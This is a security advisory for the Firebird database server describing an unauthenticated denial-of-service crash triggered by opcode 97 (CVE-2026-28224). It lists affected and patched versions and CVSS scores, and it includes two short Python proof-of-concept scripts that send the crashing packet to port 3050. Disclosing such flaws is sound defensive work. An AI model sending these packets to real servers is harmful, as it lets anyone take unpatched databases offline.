CryptCallback DOS

High **dyemanov** published **GHSA-xrcw-wpjx-pr95** 7 hours ago

Package

Firebird server

Affected versions	Patched versions
All versions starting with FB3.0.0	6.0, 5.0.4, 4.0.7, 3.0.14

Description

Summary

When trying to send the opcode `op_crypt_key_callback = 97` to the server, it crashes due to dereference of the null pointer.

Details

The problem lies in the fact that the request can be sent without authorization, which is why when `port_server_crypt_callback` is not initialized, a crash occurs when trying to process the request.

PoC

I'm attaching two scripts to trigger two possible cases.

```
from pwn import *

p = remote('localhost', 3050)
op0x50 = struct.pack(">I", 0x61)
p.send(op0x50)
p.close()
```

A full-fledged request:

```
from pwn import *
```

```
p = remote('localhost', 3050)
op0x50 = struct.pack(">II5sBBBI", 0x61, 5, b'Aboba', 0, 0, 0, 123)
p.send(op0x50)
p.close()
```

Impact

The Firebird server is vulnerable because anyone who knows only the IP and port can easily take it down.

Severity

High 8.2 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

CVE ID

CVE-2026-28224

Weaknesses

▶ CWE-476